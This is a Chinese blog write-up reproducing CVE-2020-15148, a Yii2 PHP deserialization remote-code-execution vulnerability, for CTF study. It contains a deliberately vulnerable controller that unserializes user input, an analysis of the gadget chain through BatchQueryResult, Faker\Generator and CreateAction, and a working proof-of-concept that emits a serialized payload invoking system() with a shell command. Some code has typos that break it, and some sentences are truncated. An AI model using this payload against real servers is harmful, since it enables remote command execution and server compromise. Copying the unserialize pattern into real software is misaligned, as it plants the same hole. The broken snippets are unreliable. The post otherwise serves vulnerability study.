前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-15148 Yii2框架反序列化漏洞

CVE-2020-15148 Yii2框架反序列化漏洞

作者头像
字节脉搏实验室
发布2021-05-31 16:18:24
4.1K0
发布2021-05-31 16:18:24
举报

一、漏洞简介

如果在使用yii框架,并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下,会受到反序列化远程命令命令执行漏洞攻击。

该漏洞只是php 反序列化的执行链,必须要配合unserialize函数才可以达到任意代码执行的危害。

二、漏洞影响

Yii2 <2.0.38

三、复现过程

目前该框架版本已经到2.0.42了,而复现该漏洞是因为最近的CTF比赛中已经出现了好几次该框架漏洞的改造题目了,所以我觉得有必要好好对该漏洞进行一个认真的审计复现。

首先从github上下载漏洞源码:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz

解压到Web目录,然后修改一下配置文件。

/config/web.php:

给cookieValidationKey字段设置一个值”test” 接着添加一个存在漏洞的Action /controllers/TestController.php:

代码语言:javascript
复制
<?php 
namespace app\controllers;
use Yii;
use yii\web\Controleer;

class TestController extends Controller
{
    public function actionTest(){
        $name = Yii:$app->request->get('unserialize');
        return unserialize(base64_decode($name));
    }
}
?>

之前2021年红帽杯的这道题是直接在/controllers/SiteController.php里修改了actionAbout方法里修改为如下所示,其实本质上与原漏洞是相同的

代码语言:javascript
复制
public function actionAbout($message = 'Hello')
{
    $data = base64_decode($message);
    unserialize($data);
}

反序列化起点

/vendor/yiisoft/yii2/db/BatchQueryResult.php:

代码语言:javascript
复制
<?php
namespace yii\db;

class BatchQueryResult{
    /** 
    ......
    */
    public function __destruct()
    {
        $this->reset();
    }

    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }
    /** 
    ......
    */
}
?>

可以看到__destruct()调用了reset()方法 reset()方法中,$this->_dataReader是可控的,所以此处可以当做跳板,去执行其他类中的__call()方法。

__call() //当调用对象中不存在的方法时触发

然后找到一个Faker\Generator类

/vendor/fzaninotto/faker/src/Faker/Generator.php:

代码语言:javascript
复制
<?php
namespace Faker;

class Generator{
    /** 
    ......
    */
    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
    /** 
    ......
    */
}
?>

可以看到,此处的__call()方法调用了format(),且format()从this->getFormatter(this->formatter是我们可控的,所以我们这里可以调用任意类中的任意方法了。但是

到了这一步只需要找到一个执行类即可。我们可以使用Seay源代码审计的正则全局搜索call_user_func\(\this->([a-zA-Z0-9]+),\

查看后发现yii\rest\CreateAction::run()和yii\rest\IndexAction::run()这两个方法比较合适。 这里拿yii\rest\CreateAction::run()举例 /vendor/yiisoft/yii2/rest/CreateAction.php:

代码语言:javascript
复制
<?php
namespace yii\rest;
 
class CreateAction{
    /** 
    ......
    */
    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }
 
        /* @var $model \yii\db\ActiveRecord */
        $model = new $this->modelClass([
            'scenario' => $this->scenario,
        ]);
 
        $model->load(Yii::$app->getRequest()->getBodyParams(), '');
        if ($model->save()) {
            $response = Yii::$app->getResponse();
            $response->setStatusCode(201);
            $id = implode(',', array_values($model->getPrimaryKey(true)));
            $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
        } elseif (!$model->hasErrors()) {
            throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
        }
 
        return $model;
    }
    /** 
    ......
    */
}
?>

this->checkAccess和

代码语言:javascript
复制
yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()

构造POC如下:

代码语言:javascript
复制
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

参考连接

https://xz.aliyun.com/t/8307

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 二、漏洞影响
  • 三、复现过程
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档